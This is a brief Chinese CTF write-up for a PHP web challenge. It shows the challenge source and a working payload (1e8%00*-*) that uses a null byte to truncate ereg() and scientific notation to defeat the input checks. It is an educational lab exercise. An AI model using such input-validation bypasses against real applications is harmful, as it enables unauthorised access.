ereg函数截断
题目链接:http://ctf5.shiyanbar.com/web/more.php
View the source code:
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
- 绕过ereg匹配正则 符合strpos
- password> 9999999 && len<8
ereg函数存在NULL截断漏洞,可以%00截断,则不会读取后面的内容,可以绕过输入*-*
大小和长度限制可以利用科学计数法
最后的payload
http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*
1e8即100000000 > 9999999
%00在计算长度时算一个字节